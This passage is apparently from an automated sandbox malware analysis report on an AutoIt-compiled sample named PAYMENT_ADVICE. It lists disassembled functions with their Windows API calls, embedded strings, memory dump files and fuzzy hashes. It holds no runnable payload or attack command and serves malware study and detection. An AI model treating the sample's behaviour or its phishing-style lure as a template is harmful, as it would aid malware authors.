                                                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7B00
                                                              • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,003D2CAC,00000000), ref: 003B7B16
                                                              • GlobalFree.KERNEL32(00000000), ref: 003B7B26
                                                              • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 003B7B4C
                                                              • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 003B7B6B
                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7B8D
                                                              • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003B7D7A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                              • String ID: $AutoIt v3$DISPLAY$static
                                                              • API String ID: 2211948467-2373415609
                                                              • Opcode ID: 8bbe73e111b253dc3188a2c8950c9fba4b7235d751a407b9727d7979d2591f78
                                                              • Instruction ID: 1b7f74e86aad24c8ed5175a67d1a2130f0611f602eb1a5967ad2d162ad26fbb9
                                                              • Opcode Fuzzy Hash: 8bbe73e111b253dc3188a2c8950c9fba4b7235d751a407b9727d7979d2591f78
                                                              • Instruction Fuzzy Hash: AF026A71900115AFDB16DFA8DD89EAE7BB9EF88314F148169F905EB2A1C770AD01CB60
                                                              Function 003C356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharUpperBuffW.USER32(?,?,003CF910), ref: 003C3627
                                                              • IsWindowVisible.USER32(?), ref: 003C364B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BuffCharUpperVisibleWindow
                                                              • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                              • API String ID: 4105515805-45149045
                                                              • Opcode ID: e24ce789c202db52d195da7db492d5336f042f297d20f4379c57aa237afd1fe8
                                                              • Instruction ID: f1085496e0613266114fdb343f93de4d2bbe539d113f7bcdbd25b77375f27df4
                                                              • Opcode Fuzzy Hash: e24ce789c202db52d195da7db492d5336f042f297d20f4379c57aa237afd1fe8
                                                              • Instruction Fuzzy Hash: 4ED159342043019BCA06EF10C852F6EB7E5AF95394F15846DF8869F7A2CB31EE0ACB41
                                                              Function 003CA5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetTextColor.GDI32(?,00000000), ref: 003CA630
                                                              • GetSysColorBrush.USER32(0000000F), ref: 003CA661
                                                              • GetSysColor.USER32(0000000F), ref: 003CA66D
                                                              • SetBkColor.GDI32(?,000000FF), ref: 003CA687
                                                              • SelectObject.GDI32(?,00000000), ref: 003CA696
                                                              • InflateRect.USER32(?,000000FF,000000FF), ref: 003CA6C1
                                                              • GetSysColor.USER32(00000010), ref: 003CA6C9
                                                              • CreateSolidBrush.GDI32(00000000), ref: 003CA6D0
                                                              • FrameRect.USER32(?,?,00000000), ref: 003CA6DF
                                                              • DeleteObject.GDI32(00000000), ref: 003CA6E6
                                                              • InflateRect.USER32(?,000000FE,000000FE), ref: 003CA731
                                                              • FillRect.USER32(?,?,00000000), ref: 003CA763
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 003CA78E
                                                                • Part of subcall function 003CA8CA: GetSysColor.USER32(00000012), ref: 003CA903
                                                                • Part of subcall function 003CA8CA: SetTextColor.GDI32(?,?), ref: 003CA907
                                                                • Part of subcall function 003CA8CA: GetSysColorBrush.USER32(0000000F), ref: 003CA91D
                                                                • Part of subcall function 003CA8CA: GetSysColor.USER32(0000000F), ref: 003CA928
                                                                • Part of subcall function 003CA8CA: GetSysColor.USER32(00000011), ref: 003CA945
                                                                • Part of subcall function 003CA8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 003CA953
                                                                • Part of subcall function 003CA8CA: SelectObject.GDI32(?,00000000), ref: 003CA964
                                                                • Part of subcall function 003CA8CA: SetBkColor.GDI32(?,00000000), ref: 003CA96D
                                                                • Part of subcall function 003CA8CA: SelectObject.GDI32(?,?), ref: 003CA97A
                                                                • Part of subcall function 003CA8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 003CA999
                                                                • Part of subcall function 003CA8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 003CA9B0
                                                                • Part of subcall function 003CA8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 003CA9C5
                                                                • Part of subcall function 003CA8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 003CA9ED
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                              • String ID:
                                                              • API String ID: 3521893082-0
                                                              • Opcode ID: 8e57ec4f5bf84831bae493eb3d27da8b724386bc1862e629bda04431188000b8
                                                              • Instruction ID: b853a638c549108308d87f039fc350f92147bf49ae5a85ad6d3ee60e56d8fdd3
                                                              • Opcode Fuzzy Hash: 8e57ec4f5bf84831bae493eb3d27da8b724386bc1862e629bda04431188000b8
                                                              • Instruction Fuzzy Hash: 66917B72008705AFC7129F64DC08E5B7BAEFF89325F144A2DFAA2D61A0D771E944CB52
                                                              Function 00342C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DestroyWindow.USER32(?,?,?), ref: 00342CA2
                                                              • DeleteObject.GDI32(00000000), ref: 00342CE8
                                                              • DeleteObject.GDI32(00000000), ref: 00342CF3
                                                              • DestroyIcon.USER32(00000000,?,?,?), ref: 00342CFE
                                                              • DestroyWindow.USER32(00000000,?,?,?), ref: 00342D09
                                                              • SendMessageW.USER32(?,00001308,?,00000000), ref: 0037C43B
                                                              • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0037C474
                                                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0037C89D
                                                                • Part of subcall function 00341B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00342036,?,00000000,?,?,?,?,003416CB,00000000,?), ref: 00341B9A
                                                              • SendMessageW.USER32(?,00001053), ref: 0037C8DA
                                                              • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0037C8F1
                                                              • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0037C907
                                                              • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0037C912
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                              • String ID: 0
                                                              • API String ID: 464785882-4108050209
                                                              • Opcode ID: 17250171daa06b551d17a61189ee2847752ce0c1d403addd7e562f5812d1be6e
                                                              • Instruction ID: 00a7050c534aaf453d6ec070f0a15f44c43e06f7d8032e2456cc7940d8ef8ca3
                                                              • Opcode Fuzzy Hash: 17250171daa06b551d17a61189ee2847752ce0c1d403addd7e562f5812d1be6e
                                                              • Instruction Fuzzy Hash: B0129A30610201AFDB268F24C884BAABBE5FF05310F55956DF999DB662CB35FC42CB91
                                                              Function 003B74AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DestroyWindow.USER32(00000000), ref: 003B74DE
                                                              • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 003B759D
                                                              • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 003B75DB
                                                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 003B75ED
                                                              • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 003B7633
                                                              • GetClientRect.USER32(00000000,?), ref: 003B763F
                                                              • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 003B7683
                                                              • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 003B7692
                                                              • GetStockObject.GDI32(00000011), ref: 003B76A2
                                                              • SelectObject.GDI32(00000000,00000000), ref: 003B76A6
                                                              • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 003B76B6
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 003B76BF
                                                              • DeleteDC.GDI32(00000000), ref: 003B76C8
                                                              • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 003B76F4
                                                              • SendMessageW.USER32(00000030,00000000,00000001), ref: 003B770B
                                                              • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 003B7746
                                                              • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 003B775A
                                                              • SendMessageW.USER32(00000404,00000001,00000000), ref: 003B776B
                                                              • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 003B779B
                                                              • GetStockObject.GDI32(00000011), ref: 003B77A6
                                                              • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 003B77B1
                                                              • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 003B77BB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                              • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                              • API String ID: 2910397461-517079104
                                                              • Opcode ID: a44a65fba77b75cdd72fa47e5340ae3e2cab6a13807971a7dcbd2cc04ddab5a1
                                                              • Instruction ID: 062dfd013877b560d48c7b35fd47b4489ad88466e723d52f72f3bdcaa28143ab
                                                              • Opcode Fuzzy Hash: a44a65fba77b75cdd72fa47e5340ae3e2cab6a13807971a7dcbd2cc04ddab5a1
                                                              • Instruction Fuzzy Hash: 4AA16D71A00605BFEB159BA4DD4AFAB7BAAEF49714F004119FA14EB2E0C770AD00CF64
                                                              Function 003AAD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 003AAD1E
                                                              • GetDriveTypeW.KERNEL32(?,003CFAC0,?,\\.\,003CF910), ref: 003AADFB
                                                              • SetErrorMode.KERNEL32(00000000,003CFAC0,?,\\.\,003CF910), ref: 003AAF59
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$DriveType
                                                              • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                              • API String ID: 2907320926-4222207086
                                                              • Opcode ID: bff4d7aa325c2f7e129fcc50bfa4d77722f5c105387f9362ae1f5eafdaafea71
                                                              • Instruction ID: 78aec563e34a3e3db0a56e43f58baadfc1fe70bac6e7fbaebbfed56ff6de2e8c
                                                              • Opcode Fuzzy Hash: bff4d7aa325c2f7e129fcc50bfa4d77722f5c105387f9362ae1f5eafdaafea71
                                                              • Instruction Fuzzy Hash: 9C5190B2649A09AF8F1FEB14CD92CBD73A5EB0A700B204457E507AB691CB31AD05DB53
                                                              Function 003468DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __wcsnicmp
                                                              • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                              • API String ID: 1038674560-86951937
                                                              • Opcode ID: bf44b4326f295bde45c8ad35a406daf11aacd6d73a9b6df4b45c77eae59ef12a
                                                              • Instruction ID: 085e1ea62f5966f1ca8e1ddb9331dacbd6fd7f86c3f57d3d482ccfdeb50ef907
                                                              • Opcode Fuzzy Hash: bf44b4326f295bde45c8ad35a406daf11aacd6d73a9b6df4b45c77eae59ef12a
                                                              • Instruction Fuzzy Hash: 5881E9B16006056ADB23AF60EC43FBF37A8EF16700F048025F905AF196EB75EE45D662
                                                              Function 003C9A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 003C9AD2
                                                              • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 003C9B8B
                                                              • SendMessageW.USER32(?,00001102,00000002,?), ref: 003C9BA7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window
                                                              • String ID: 0
                                                              • API String ID: 2326795674-4108050209
                                                              • Opcode ID: bf60f8f631730cba0bd92cf75bf461edd6c749c75406620487e9b38afe502550
                                                              • Instruction ID: 97b2cfc095254da581e0f4cbf8ec2749fbf0aa798ff91393ef4b13bf2d75576a
                                                              • Opcode Fuzzy Hash: bf60f8f631730cba0bd92cf75bf461edd6c749c75406620487e9b38afe502550
                                                              • Instruction Fuzzy Hash: 2B02AC31108201AFE726CF24C849FAABBE9FF49314F06852EF999D62A1C735DD54CB52
                                                              Function 003CA8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetSysColor.USER32(00000012), ref: 003CA903
                                                              • SetTextColor.GDI32(?,?), ref: 003CA907
                                                              • GetSysColorBrush.USER32(0000000F), ref: 003CA91D
                                                              • GetSysColor.USER32(0000000F), ref: 003CA928
                                                              • CreateSolidBrush.GDI32(?), ref: 003CA92D
                                                              • GetSysColor.USER32(00000011), ref: 003CA945
                                                              • CreatePen.GDI32(00000000,00000001,00743C00), ref: 003CA953
                                                              • SelectObject.GDI32(?,00000000), ref: 003CA964
                                                              • SetBkColor.GDI32(?,00000000), ref: 003CA96D
                                                              • SelectObject.GDI32(?,?), ref: 003CA97A
                                                              • InflateRect.USER32(?,000000FF,000000FF), ref: 003CA999
                                                              • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 003CA9B0
                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 003CA9C5
                                                              • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 003CA9ED
                                                              • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 003CAA14
                                                              • InflateRect.USER32(?,000000FD,000000FD), ref: 003CAA32
                                                              • DrawFocusRect.USER32(?,?), ref: 003CAA3D
                                                              • GetSysColor.USER32(00000011), ref: 003CAA4B
                                                              • SetTextColor.GDI32(?,00000000), ref: 003CAA53
                                                              • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 003CAA67
                                                              • SelectObject.GDI32(?,003CA5FA), ref: 003CAA7E
                                                              • DeleteObject.GDI32(?), ref: 003CAA89
                                                              • SelectObject.GDI32(?,?), ref: 003CAA8F
                                                              • DeleteObject.GDI32(?), ref: 003CAA94
                                                              • SetTextColor.GDI32(?,?), ref: 003CAA9A
                                                              • SetBkColor.GDI32(?,?), ref: 003CAAA4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                              • String ID:
                                                              • API String ID: 1996641542-0
                                                              • Opcode ID: 642da64e67d081b099beb97bf0f47ba7219f9f9373f4e31f88cbf39741c0c612
                                                              • Instruction ID: 0aba533eccb89560bc015b1e960ed4537c1d7a8d5bab8894c0b88815b401e7d3
                                                              • Opcode Fuzzy Hash: 642da64e67d081b099beb97bf0f47ba7219f9f9373f4e31f88cbf39741c0c612
                                                              • Instruction Fuzzy Hash: 2F512B71900618EFDB129FA4DC49EAE7BBAEB08320F154625F911EB2A1D771AD40DB90
                                                              Function 003C89D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 003C8AC1
                                                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003C8AD2
                                                              • CharNextW.USER32(0000014E), ref: 003C8B01
                                                              • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 003C8B42
                                                              • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 003C8B58
                                                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003C8B69
                                                              • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 003C8B86
                                                              • SetWindowTextW.USER32(?,0000014E), ref: 003C8BD8
                                                              • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 003C8BEE
                                                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 003C8C1F
                                                              • _memset.LIBCMT ref: 003C8C44
                                                              • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 003C8C8D
                                                              • _memset.LIBCMT ref: 003C8CEC
                                                              • SendMessageW.USER32(?,00001053,000000FF,?), ref: 003C8D16
                                                              • SendMessageW.USER32(?,00001074,?,00000001), ref: 003C8D6E
                                                              • SendMessageW.USER32(?,0000133D,?,?), ref: 003C8E1B
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 003C8E3D
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003C8E87
                                                              • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003C8EB4
                                                              • DrawMenuBar.USER32(?), ref: 003C8EC3
                                                              • SetWindowTextW.USER32(?,0000014E), ref: 003C8EEB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
